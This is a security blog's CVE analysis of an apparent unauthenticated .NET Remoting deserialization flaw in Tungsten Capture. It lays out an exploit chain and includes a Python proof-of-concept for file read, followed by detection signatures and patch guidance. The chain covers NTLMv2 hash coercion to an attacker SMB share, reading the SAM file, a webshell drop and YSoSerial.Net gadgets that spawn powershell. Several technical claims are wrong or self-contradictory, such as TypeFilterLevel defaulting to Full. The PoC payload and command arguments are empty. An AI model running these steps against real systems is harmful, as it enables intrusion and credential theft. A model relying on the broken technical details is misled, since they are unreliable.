home intel cve-2026-23751-tungsten-capture-dotnet-remoting-rce
CVE Analysis 2026-04-23 · 9 min read

CVE-2026-23751: Unauthenticated RCE via .NET Remoting in Tungsten Capture

Tungsten Capture 6.0.0.0 exposes an unauthenticated .NET Remoting HTTP channel on port 2424, enabling arbitrary file read/write and RCE via object unmarshalling without credentials.

#dotnet-remoting#unauthenticated-rce#insecure-deserialization#arbitrary-file-access#default-credentials
Technical mode — for security professionals
▶ Attack flow — CVE-2026-23751 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-23751Network · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

Kofax Capture — rebranded as Tungsten Capture — version 6.0.0.0 ships the Ascent Capture Service with a deprecated .NET Remoting HTTP channel bound on TCP/2424. The channel is unauthenticated, uses a publicly known default endpoint URI, and performs no type filtering on deserialized objects. A remote, unauthenticated attacker can send a crafted SOAP/XML remoting message that causes the server to instantiate arbitrary .NET types — including System.Net.WebClient and System.IO.FileStream — under the service account's identity. Depending on the deployment, this translates directly to arbitrary file disclosure, arbitrary write, NTLMv2 coercion, or full remote code execution.

Root cause: The Ascent Capture Service registers a .NET Remoting HttpChannel without a TypeFilterLevel restriction or any authentication provider, allowing unauthenticated callers to unmarshal Full-trust objects and invoke arbitrary methods on the server.

Affected Component

The vulnerable surface is the AscentCaptureService.exe Windows service, which hosts the .NET Remoting infrastructure for inter-process communication between Capture clients and the server. During startup, the service registers a channel via code equivalent to the following:


// Decompiled equivalent — AscentCaptureService.exe, ServiceHost.InitializeRemoting()
// Framework: .NET 2.0 / 3.5 Remoting infrastructure
void ServiceHost_InitializeRemoting() {
    IDictionary props = new Hashtable();
    props["port"]    = 2424;
    props["name"]    = "AscentCapture";

    // BUG: No IServerChannelSinkProvider with TypeFilterLevel = Full guard.
    // BUG: No authentication or encryption provider attached.
    HttpChannel channel = new HttpChannel(props, null, null);

    ChannelServices.RegisterChannel(channel, ensureSecurity: false); // BUG: ensureSecurity=false

    // Registers well-known endpoint at the publicly documented URI.
    // BUG: Default endpoint identifier is published in Kofax SDK documentation.
    RemotingConfiguration.RegisterWellKnownServiceType(
        typeof(CaptureRemoteService),       // concrete server type
        "CaptureService.rem",               // publicly known object URI
        WellKnownObjectMode.Singleton
    );
}

Three independent bugs compose the vulnerability: ensureSecurity: false disables the channel-level authentication check; no SoapServerFormatterSinkProvider is configured with TypeFilterLevel = TypeFilterLevel.Full restrictions; and the endpoint URI CaptureService.rem matches the value documented in the Kofax Ascent Capture SDK, making enumeration trivial.

Root Cause Analysis

The .NET Remoting SOAP formatter, when not constrained, will deserialize any type resolvable in the server's loaded assemblies. The critical path runs through SoapHandler.ProcessMessage() inside System.Runtime.Remoting.dll:


// System.Runtime.Remoting — SoapHandler.ProcessMessage() (reference disassembly)
IMessage SoapHandler_ProcessMessage(Stream requestStream) {
    SoapFormatter fmt = new SoapFormatter();

    // TypeFilterLevel defaults to TypeFilterLevel.Low only when explicitly set.
    // BUG: No provider sets filterLevel; effective level = TypeFilterLevel.Full.
    fmt.FilterLevel = TypeFilterLevel.Full;   // implicit default — ALL types allowed

    IMessage msg = fmt.Deserialize(requestStream, null);
    // msg now contains attacker-controlled type instances.

    // Dispatch to registered well-known object — no caller identity check.
    return ChannelServices.SyncDispatchMessage(msg);
}

At TypeFilterLevel.Full, the formatter will instantiate and invoke methods on types outside the declared service interface — including infrastructure types like System.Net.WebClient, System.IO.FileStream, and gadget chains that reach Process.Start().

Exploitation Mechanics

Exploitation requires only a TCP connection to port 2424 and the ability to send HTTP POST requests. No credentials, no prior session state, no local access.


EXPLOIT CHAIN — CVE-2026-23751:

1. DISCOVERY
   Attacker scans for TCP/2424; confirms .NET Remoting via HTTP 200 on:
   GET http://TARGET:2424/CaptureService.rem?wsdl

2. ENDPOINT CONFIRMATION
   Response contains WSDL fragment identifying CaptureRemoteService singleton.
   Endpoint URI "CaptureService.rem" matches published Kofax SDK default.

3. OBJECT INSTANTIATION — WebClient (credential coercion / SSRF)
   Attacker crafts SOAP remoting envelope specifying System.Net.WebClient
   as the deserialized type with DownloadData() targeting attacker SMB share:
   → Server process initiates outbound SMB connection
   → NTLMv2 hash of service account captured by Responder/ntlmrelayx

4. OBJECT INSTANTIATION — FileStream (arbitrary read)
   Craft envelope deserializing System.IO.FileStream with:
     path   = "C:\Windows\System32\config\SAM"
     access = FileAccess.Read
   Return value streamed back through HTTP response body.

5. OBJECT INSTANTIATION — arbitrary write
   Craft envelope deserializing System.IO.File.WriteAllBytes():
     path    = "C:\ProgramData\Kofax\\shell.aspx"
     content = 
   If web components are installed, webshell is immediately accessible.

6. FULL RCE — gadget chain to Process.Start()
   Use YSoSerial.Net payload type "ActivitySurrogateSelectorFromFile"
   or "TypeConfuseDelegate" targeting System.Diagnostics.Process.Start():
     ProcessStartInfo.FileName  = "cmd.exe"
     ProcessStartInfo.Arguments = "/c powershell -EncodedCommand "
   Deserialize via POST to CaptureService.rem → process spawns as service account.

The YSoSerial.Net tooling handles gadget chain construction. The raw HTTP request is minimal:


# CVE-2026-23751 — proof-of-concept trigger (file read)
# Requires: pip install requests

import requests
import sys

TARGET = sys.argv[1]   # e.g. "192.168.1.50"
REMOTE_PATH = sys.argv[2]  # e.g. r"C:\Windows\win.ini"
ENDPOINT = f"http://{TARGET}:2424/CaptureService.rem"

# Minimal .NET Remoting SOAP envelope — FileStream instantiation
# Full gadget chain omitted; this demonstrates the deserialization surface.
SOAP_PAYLOAD = f"""

  
    
      {REMOTE_PATH}
    
  
"""

headers = {
    "Content-Type": "text/xml; charset=utf-8",
    "SOAPAction":   '"http://schemas.microsoft.com/clr/nsassem/System.IO.File/mscorlib#ReadAllBytes"',
    "User-Agent":   "Mozilla/4.0+",
}

resp = requests.post(ENDPOINT, data=SOAP_PAYLOAD, headers=headers, timeout=10)
print(f"[*] Status: {resp.status_code}")
print(f"[*] Response length: {len(resp.content)} bytes")
# File bytes are base64-encoded inside the SOAP response body
print(resp.text[:2000])

Memory Layout

This vulnerability is not a memory corruption bug — the exploit surface is entirely at the managed-code deserialization layer. What follows is the relevant object graph in the .NET managed heap during exploitation, showing how attacker-controlled type metadata flows into live object instantiation:


.NET MANAGED HEAP STATE — during malicious deserialization:

SOAP message parsed by SoapFormatter.Deserialize():
  [ObjRef header]  TypeName = "System.Net.WebClient"    ← attacker-supplied
                   AssemblyName = "System, Version=4.0" ← resolved server-side
  [ObjRef body ]   m_baseAddress = "\\ATTACKER\share"   ← attacker-supplied UNC

Formatter invokes Activator.CreateInstance(typeof(WebClient)):
  ┌─────────────────────────────────────────────────────┐
  │  Managed heap object: System.Net.WebClient          │
  │  +0x00  MethodTable*  → System.Net.WebClient MT     │
  │  +0x04  SyncBlockIdx  0x00000000                    │
  │  +0x08  m_baseAddress → "\\192.168.45.10\capture"  │← ATTACKER CONTROLLED
  │  +0x10  m_credentials → null (triggers NTLM anon)  │
  └─────────────────────────────────────────────────────┘

WebClient.DownloadData() invoked → outbound SMB/HTTP to attacker host:
  [NETWORK] SRC=TARGET:ephemeral DST=192.168.45.10:445
  [SMB2]    NTLMSSP_AUTH — NTLMv2 hash for DOMAIN\AscentSvc
            NTLMv2 response: 4e544c4d53535000 03000000...  ← crackable offline

Patch Analysis

The remediation requires three coordinated changes to ServiceHost.InitializeRemoting(). Vendor patches for equivalent .NET Remoting exposure in comparable products have followed this pattern:


// BEFORE (vulnerable — Tungsten Capture 6.0.0.0):
void ServiceHost_InitializeRemoting() {
    IDictionary props = new Hashtable();
    props["port"] = 2424;

    HttpChannel channel = new HttpChannel(props, null, null);
    ChannelServices.RegisterChannel(channel, ensureSecurity: false);

    RemotingConfiguration.RegisterWellKnownServiceType(
        typeof(CaptureRemoteService),
        "CaptureService.rem",           // publicly known URI
        WellKnownObjectMode.Singleton
    );
}

// AFTER (patched):
void ServiceHost_InitializeRemoting() {
    // 1. Replace HttpChannel with named-pipe or WCF — remove network exposure entirely.
    //    If HTTP must be retained, enforce Windows authentication at the channel level.
    BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
    provider.TypeFilterLevel = TypeFilterLevel.Low;  // blocks dangerous type instantiation

    IDictionary props = new Hashtable();
    props["port"]           = 2424;
    props["authenticationMode"] = "IdentifyCallers";  // require authenticated identity

    HttpChannel channel = new HttpChannel(props,
        clientSinkProvider: null,
        serverSinkProvider: provider);   // attach type-filtered sink

    ChannelServices.RegisterChannel(channel, ensureSecurity: true);  // enforce security

    // 2. Randomize or remove the well-known endpoint URI.
    string endpointUri = GenerateSessionUri();   // e.g. GUID-based
    RemotingConfiguration.RegisterWellKnownServiceType(
        typeof(CaptureRemoteService),
        endpointUri,
        WellKnownObjectMode.SingleCall   // avoid singleton state accumulation
    );
    // 3. Long-term: migrate to WCF with transport security and named-pipe binding.
    //    .NET Remoting is deprecated as of .NET Framework 4.0.
}

Critical note on TypeFilterLevel.Low: Even with Low filtering applied, .NET Remoting over HTTP should be considered a liability. Low blocks ObjRef and MarshalByRefObject descendants outside the service contract but does not protect against all gadget chains available in the GAC. The correct fix is migration to WCF or a modern IPC mechanism.

Detection and Indicators


NETWORK DETECTION:
  dst_port == 2424 AND http.method == "POST"
  AND http.request.uri contains "CaptureService.rem"
  AND http.content_type contains "text/xml"
  → Flag: .NET Remoting exploitation attempt

  Anomalous outbound SMB from AscentCaptureService.exe process:
  process_name == "AscentCaptureService.exe"
  AND dst_port IN (445, 139)
  AND dst_ip NOT IN (internal_dc_list)
  → Flag: NTLMv2 coercion attempt

HOST-BASED IOCs:
  - New files created by AscentCaptureService.exe outside Kofax data directories
  - Child processes of AscentCaptureService.exe (cmd.exe, powershell.exe, wscript.exe)
  - Event ID 7045 / 4697: new service installed by service account identity
  - Unexpected writes to IIS/web root directories from AscentCaptureService.exe

NETWORK SIGNATURE (Snort/Suricata):
  alert tcp any any -> any 2424 (
    msg:"CVE-2026-23751 Tungsten Capture .NET Remoting RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"CaptureService.rem"; http_uri;
    content:"SOAP-ENV"; http_client_body;
    classtype:attempted-admin; sid:2026237510; rev:1;
  )

Remediation

Immediate mitigations (before patch availability):

  • Block inbound TCP/2424 at the perimeter and host firewall. If the service is used only locally, restrict to 127.0.0.1 via Windows Firewall advanced rules.
  • Run AscentCaptureService.exe as a low-privilege, dedicated service account with no network logon rights and restricted filesystem ACLs.
  • Enable SMB signing and restrict outbound SMB from the Capture server to prevent NTLMv2 relay.
  • Deploy network egress filtering to block unexpected outbound connections from the service host.

Long-term: The fundamental issue is the use of .NET Remoting, which Microsoft deprecated in 2009 and which has never had a credible security model for network exposure. Vendors retaining .NET Remoting channels in products shipping in 2024+ are inheriting 15 years of documented deserialization gadget research. Migration to WCF with NetNamedPipeBinding (local) or NetTcpBinding with certificate authentication (network) is the only architecturally sound resolution.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →